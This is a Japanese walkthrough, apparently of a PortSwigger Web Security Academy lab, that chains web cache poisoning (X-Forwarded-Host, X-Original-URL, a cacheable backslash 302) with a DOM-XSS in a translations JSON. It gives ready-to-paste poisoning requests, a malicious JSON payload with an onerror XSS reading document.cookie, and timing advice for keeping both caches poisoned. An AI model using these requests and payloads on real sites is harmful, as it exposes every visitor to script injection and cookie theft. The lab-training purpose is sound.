Hello there, ('ω')ノ
全体像(まず“絵”を掴む)
- トップ(
/)は時々 バックスラッシュを正規化して/setlang\es→ 302 →/setlang/esを返す。 → 302がキャッシュ可能なので、ホームを踏んだ人全員を/setlang/esに押し出せる(=強制的に lang=es クッキーをサーバ側でセット)。 /?localized=1は 翻訳JSON(/resources/json/translations.json)を読み込む。英語以外の言語では initTranslations() のDOM扱いが危険で、JSON値に HTMLがそのまま挿入される。- X-Forwarded-Host を使うと、翻訳JSONの取得先ホストを任意に差し替えられる(CORS許可があれば他オリジン読み込みOK)。
- よって、(A)
/resources/json/translations.json相当の悪意JSONをエクスプロイトサーバで用意→/?localized=1のキャッシュを毒化、(B) さらに/を 302→/setlang/esで毒化。 - 被害者が
/を踏む → キャッシュ済み302で/setlang/es→ サーバが lang=es を設定して/?localized=1に戻す → 毒化済みJSONを読み込みalert(document.cookie)。
バグの分解(順に“何を/なぜ”)
- Param Miner で発見:
X-Forwarded-Host,X-Original-URLが有効 フロント(キャッシュ層 or 逆プロキシ)がこれらヘッダーを上流へ反映。 - 翻訳JSONの取り扱いがDOM-XSS
英語(
en)以外のキーで、表示時にエスケープされずにHTMLとして注入される。 - X-Forwarded-HostでJSONの参照元を差し替え
ページが読み込む
/resources/json/translations.jsonのホストだけを任意値に。 - X-Original-URLで内部パスを
/setlang/esに変更 ただし/setlang/esの直接レスポンスは Set-Cookie を含み非キャッシュ → 使えない。 一方、/setlang\es(バックスラッシュ) はサーバが 302 で/setlang/esに正規化し、この302はキャッシュ可能 → これを毒として/に保存できる。
事前準備(必須)
- Burp Repeater を使用。必要なら Param Miner でヘッダー対応を確認。
Exploit Server(提供されているサーバ)に以下を作成:
- パス:
/resources/json/translations.json(本物と同じパス名) - ヘッダー:
Access-Control-Allow-Origin: *(CORS許可) ボディ(悪意JSON):例(スペイン語
esにXSSを仕込む){ "en": {"name": "English"}, "es": { "name": "español", "translations": { "Return to list": "Volver a la lista", "View details": "</a><img src=1 onerror='alert(document.cookie)' />", "Description:": "Descripción" } } }
- パス:
フェーズA:/?localized=1 を「悪意JSONの参照」に毒化(X-Forwarded-Host)
狙い:英語以外(es)のページがあなたのJSONを読むように、キャッシュを汚染。
lang=esクッキーのある/?localized=1を取得(HTTP history から見つけて Repeater へ)- キャッシュバスターを付ける(
?_cb=12345など) - X-Forwarded-Host をあなたの Exploit Server に設定して送信:
GET /?localized=1&_cb=12345 HTTP/2 host: YOUR-LAB-ID.web-security-academy.net cookie: lang=es x-forwarded-host: YOUR-EXPLOIT-SERVER-ID.exploit-server.net
観察:レスポンス内の翻訳JSONの取得先(もしくは参照)があなたのホストになっている/以後このレスポンスがキャッシュされる。
ローカル検証:ブラウザで該当URLを開き、alert(document.cookie) が出ることを確認(自分の環境=lang=es のとき)。
フェーズB:トップ / を「/setlang\es → 302」へ毒化(X-Original-URL)
狙い:被害者の言語(英語)を強制的にスペイン語へ切り替えるため、トップにキャッシュ可能な302を仕込む。
- トップ GET を Repeater で開く(
GET /)。 - X-Original-URL に
/setlang\es(バックスラッシュ!)を指定して送信:
GET /?_cb=99999 HTTP/2 host: YOUR-LAB-ID.web-security-academy.net x-original-url: /setlang\es
期待:302 で /setlang/es にリダイレクト。レスポンスに Set-Cookie がなくキャッシュ可能(Age/X-Cache等で確認可)。
→ この 302 が/ のキャッシュに保存され、誰がトップを踏んでも /setlang/es に飛ぶようになる。以降、サーバ側で lang=es がセットされて /?localized=1 が表示される。
フェーズC:連携 — 被害者の実動作
- 被害者が トップ
/を開く → キャッシュ済み302 で/setlang/esへ - サーバが(通常動作で)lang=es をサーバ側で保持し、
/?localized=1を返す /?localized=1は フェーズAで毒化済み → Exploit Server の翻訳JSONを読み、DOM-XSS →alert(document.cookie)発火
タイミングと運用(被害者は1分に1回)
- キャッシュTTL は環境依存。被害者が来るまでに毒が切れないよう、A(
/?localized=1)→B(/)の2リクエストを定期的にリプレイして両方のキャッシュを維持。 - 実施順は A → すぐB が安定(まず悪意JSONを読ませられる状態にしてから、言語切替の302を配る)。
うまくいかない時のチェックリスト
- CORS:Exploit Server のヘッダーに
Access-Control-Allow-Origin: *があるか。 - JSON構造:本物の
translations.jsonと同じキー階層(es.translations...)になっているか。 - 言語条件:英語(
en)は安全化されている想定。必ずlang=esで試す/被害者を 302でesに誘導できているか。 - ヘッダー名の大小:HTTP/2では小文字(
x-forwarded-host,x-original-url)。 - キャッシュ命中:
_cbを変えすぎて別キーにしていないか。同じキーで毒と被害者動線を一致させる。 - 302のキャッシュ性:
/setlang/esそのものは Set-Cookie で非キャッシュ、/setlang\es→ 302 のほうがキャッシュ。必ず バックスラッシュ。 - 順序:A(JSON毒)→B(トップ302)。逆だと被害者が来た時点でJSON側が未毒の可能性。
コピペ用(最小セット)
A. /?localized=1 を毒化(lang=es クッキー付きで)
GET /?localized=1&_cb=12345 HTTP/2 host: YOUR-LAB-ID.web-security-academy.net cookie: lang=es x-forwarded-host: YOUR-EXPLOIT-SERVER-ID.exploit-server.net
B. / を 302→/setlang/es に毒化(バックスラッシュ!)
GET /?_cb=99999 HTTP/2 host: YOUR-LAB-ID.web-security-academy.net x-original-url: /setlang\es
Exploit Server(/resources/json/translations.json)
Access-Control-Allow-Origin: *
{ ...上記の悪意JSON... }
あとは、A→Bを適宜リプレイしつつ、別タブでトップを開けば
alert(document.cookie)が出るはず。
なぜこの順でやるのか(理解の定着)
- 先に毒JSON:被害者をスペイン語に飛ばしても、読ませるJSONが毒化されていないと不発。
- 後からトップ302:全員をesに切替できる“入口の毒”を最後に置く。
- 両輪が同時に効いている時間を作るため、AとBを交互に再投与する。
Best regards, (^^ゞ